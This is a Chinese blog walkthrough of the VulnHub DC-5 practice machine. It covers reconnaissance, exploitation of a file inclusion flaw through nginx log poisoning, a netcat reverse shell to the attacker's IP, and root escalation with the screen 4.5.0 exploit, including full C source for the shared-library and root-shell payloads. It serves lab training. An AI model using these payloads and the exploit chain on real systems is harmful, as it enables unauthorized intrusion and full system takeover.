vulnhub靶机:dc-5

一:信息收集

1:主机发现

arp-scan -I eth0 10.9.23.0/24

kali的ip

10.9.23.112

靶机IP

10.9.23.204

2:端口扫描

nmap -A -p- -T4 10.9.23.204

3:端口探测

发现contact里面他有输入框

发现底下这个页脚会发生变化,猜测存在文件包含漏洞,先扫一下目录

4:目录遍历

dirsearch -u 10.9.23.204

/footer.php

二:漏洞利用

1:文件包含漏洞

发现是thankyou.php中包含了footer.php页面

测试文件包含漏洞的测试方法

?file=/etc/passwd

?page=file:///etc/passwd

?home=main.cgi

?page=http://xxx/1.php

http://xxx/../../../file.txt

http://10.9.23.204/thankyou.php?file=/etc/passwd

2:一句话木马

打开bp开始抓包

发现返回400,先验证一下是否成功:

查看一下日志信息,nginx日志的默认日志路劲为/var/log/nginx/,一般nginx的日志都有access.log和error.log文件,随便访问一个试试:

/thankyou.php?file=/var/log/nginx/access.log&cmd=ls -l

证明已经写入了access.log文件,写入反弹shell并监听:

/thankyou.php?file=/var/log/nginx/access.log&cmd=nc -e /bin/bash 10.9.23.112 6666

三:提权

获取shell,进行升级

python -c 'import pty;pty.spawn("/bin/bash")';

查看当前用户可以使用的命令:

find / -perm /4000

发现了一个比较特殊的文件 screen 4.5.0,当然其他文件比较常见,通过经验判断是不能提权的。接下来就用searchsploit搜索一下这个比较特殊的文件。

searchsploit screen 4.5.0

searchsploit -m 41154.sh

cat 41154.sh

经过测试这个文件直接上传执行不会成功,需要分别将里面的代码分为三个部分,分别编译后执行才能成功。

创建并编译libhax.c
touch libhax.c
vim libhax.c

include <stdio.h>

#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}

编译

gcc -fPIC -shared -ldl -o libhax.so libhax.c

创建rootshell.c并编译文件
touch rootshell.c
vim rootshell.c

include <stdio.h>

int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}

编译

gcc -o rootshell rootshell.c

开启80端口

python3 -m http.server 80

上传文件,要注意的是需要上传到 /tmp目录下,因为代码中使用的是绝对路径。

wget http://10.9.23.112/libhax.so /tmp

wget http://10.9.23.112/rootshell /tmp

getshell.sh赋予执行权限,然后执行。

chmod 777 getroot.sh
./getroot.sh

根据提权说明,使用方法

首先输入命令:cd /etc

然后输入命令:umask 000

然后输入命令:screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"

然后输入命令:screen -ls

最后输入命令:/tmp/rootshell,成功提权

posted @   woaishuaidan  阅读(43)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· winform 绘制太阳,地球,月球 运作规律
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
· AI与.NET技术实操系列(五):向量存储与相似性搜索在 .NET 中的实现
· 超详细:普通电脑也行Windows部署deepseek R1训练数据并当服务器共享给他人
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理
点击右上角即可分享
微信分享提示